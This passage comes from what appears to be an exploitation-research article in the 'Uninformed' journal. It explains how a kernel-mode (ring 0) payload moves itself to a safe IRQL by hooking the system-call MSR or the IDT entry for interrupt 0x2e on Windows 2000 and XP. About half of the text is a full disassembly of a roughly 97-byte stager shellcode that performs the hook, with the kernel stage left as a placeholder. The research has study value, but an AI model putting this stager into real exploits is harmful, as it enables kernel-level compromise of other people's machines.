Informative Information for the Uninformed | ||||||||||||||
|
||||||||||||||
System Call MSR/IDT Hooking
One relatively simple way of migrating a R0 payload to a safe IRQL is by hooking the function used to dispatch system calls in kernel-mode through the use of a processor model-specific register. In newer processors, system calls are dispatched through an improved interface that takes advantage of a registered function pointer that is given control when a system call is dispatched. The function pointer is stored within the STAR model-specific register that has a symbolic code of 0x176. To take advantage of this on Windows XP+ for the purpose payload migration, all that is required is to first read the current state of the MSR so that the original system call dispatcher routine can be preserved. After that, the second stage of the R0 payload must be copied to another location, preferably globally accessible and unused, such as SharedUserData or the KPRCB. Once the second stage has been copied, the value of the MSR can be changed to point to the first instruction of the now-copied stage. The end result is that whenever a system call is dispatched from user-mode, second stage of the R0 payload will be executed as IRQL = PASSIVE. For Windows 2000, and for versions of Windows XP+ running on older hardware, another approach is required that is virtually equivalent. Instead of changing the processor MSR, the IDT entry for the 0x2e soft-interrupt that is used to dispatch system calls must be hooked so that whenever the soft-interrupt is triggered the migrated R0 payload is called. The steps taken to copy the second stage to another location are the same as they would be under the MSR approach. The following steps outline one way in which a stager of this type could be implemented for Windows 2000 and Windows XP.
The following code illustrates an implementation of this type of staging payload. It's roughly 97 bytes in size, excluding the staged payload and the recovery method. Removing the support for hooking the IDT entry reduces the size to roughly 47 bytes. 00000000 FC cld 00000001 BF80FDDFFF mov edi,0xffdffd80 00000006 57 push edi 00000007 6A76 push byte +0x76 00000009 58 pop eax 0000000A FEC4 inc ah 0000000C 99 cdq 0000000D 91 xchg eax,ecx 0000000E 89F8 mov eax,edi 00000010 66B87002 mov ax,0x270 00000014 3910 cmp [eax],edx 00000016 EB06 jmp short 0x1e 00000018 50 push eax 00000019 0F32 rdmsr 0000001B AB stosd 0000001C EB3E jmp short 0x5c 0000001E 648B4238 mov eax,[fs:edx+0x38] 00000022 8D4408FA lea eax,[eax+ecx-0x6] 00000026 50 push eax 00000027 91 xchg eax,ecx 00000028 8B4104 mov eax,[ecx+0x4] 0000002B 668B01 mov ax,[ecx] 0000002E AB stosd 0000002F EB2B jmp short 0x5c 00000031 5E pop esi 00000032 6A01 push byte +0x1 00000034 59 pop ecx 00000035 F3A5 rep movsd 00000037 B8FF2580FD mov eax,0xfd8025ff 0000003C AB stosd 0000003D 66C707DFFF mov word [edi],0xffdf 00000042 59 pop ecx 00000043 58 pop eax 00000044 0404 add al,0x4 00000046 85C9 test ecx,ecx 00000048 9C pushf 00000049 FA cli 0000004A 668901 mov [ecx],ax 0000004D C1E810 shr eax,0x10 00000050 66894106 mov [ecx+0x6],ax 00000054 9D popf 00000055 EB04 jmp short 0x5b 00000057 31D2 xor edx,edx 00000059 0F30 wrmsr 0000005B C3 ret ; replace with recovery method 0000005C E8D0FFFFFF call 0x31 ... R0 stage here ... |